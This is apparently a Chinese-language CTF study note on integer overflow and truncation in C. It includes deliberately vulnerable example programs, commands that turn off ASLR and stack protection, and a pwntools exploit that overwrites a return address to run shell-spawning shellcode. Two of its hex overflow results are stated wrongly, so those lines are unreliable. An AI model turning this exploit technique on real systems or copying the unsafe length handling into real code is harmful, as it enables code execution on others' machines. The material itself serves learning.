开始整数溢出的学习,这部分相对来说很简单了。
64位的gcc-5.4的类型及字节数如下:
类型 | 字节 | 范围 |
---|---|---|
short int | 2byte(word) | 032767(00x7fff) -32768-1(0x80000xffff) |
unsigned short int | 2byte(word) | 065535(00xffff) |
int | 4byte(dword) | 02147483647(00x7fffffff) -2147483648-1(0x800000000xffffffff) |
unsigned int | 4byte(dword) | 04294967295(00xffffffff) |
long int | 8byte(qword) | 正: 0~0x7fffffffffffffff 负: 0x8000000000000000~0xffffffffffffffff |
unsigned long int | 8byte(qword) | 0~0xffffffffffffffff |
溢出指的是有符号数。这里以short举例,之后也都是。
上溢出是0x7fff+1=0x8fff
,由正变负。
下溢出时0x8000-1 = 0x7ffff
,由负变正。
对于无符号数来说是回绕,也是两种:
0xffff + 1 = 0x0000 0x0000 - 1 = 0xffff
其实就是精度丢失了,导致的漏洞。而小范围转大范围则不会有这种问题。
直接看wiki的例子了:
int main(void) { int len, l; char buf[11]; scanf("%d", &len); if (len < 10) { l = read(0, buf, len); *(buf+l) = 0; puts(buf); } else printf("Please len < 10"); }
本来限制了输入的长度必须比10小,但是read函数:
ssize_t read(int fd, void * buf, size_t count);
size_t
是无符号的类型,这就导致了漏洞:
这部分内容比较简单,直接以CTF-ALL-IN-One上的例子来结束吧:
#include<stdio.h> #include<string.h> void validate_passwd(char *passwd) { char passwd_buf[11]; unsigned char passwd_len = strlen(passwd); if(passwd_len >= 4 && passwd_len <= 8) { printf("good!\n"); strcpy(passwd_buf, passwd); } else { printf("bad!\n"); } } int main(int argc, char *argv[]) { if(argc != 2) { printf("error\n"); return 0; } validate_passwd(argv[1]); }
echo 0 > /proc/sys/kernel/randomize_va_space gcc -g -fno-stack-protector -z execstack vuln.c -o vuln -m32
把地址随机化关闭来方便攻击。
因为passwd_len
是无符号的,存在一个截断,比如strlen的结果是0x104,那么passwd_len
得到的就是0x04,成功绕过。
接下来就是写shellcode到栈上面然后控制返回地址到shellcode上了。
EXP:
from pwn import * from LibcSearcher import * #context(log_level="debug",arch="i386",os="linux") context(log_level="debug",os="linux") ret_addr = 0xffffcef8+4+4+4 shellcode = asm(shellcraft.sh()) payload = flat([24*'a',ret_addr,'a'*4,shellcode,(0x104-72)*'a']) p = process(argv=['./vuln',payload]) #p = gdb.debug(["./vuln",payload],"break validate_passwd") p.recv() p.interactive()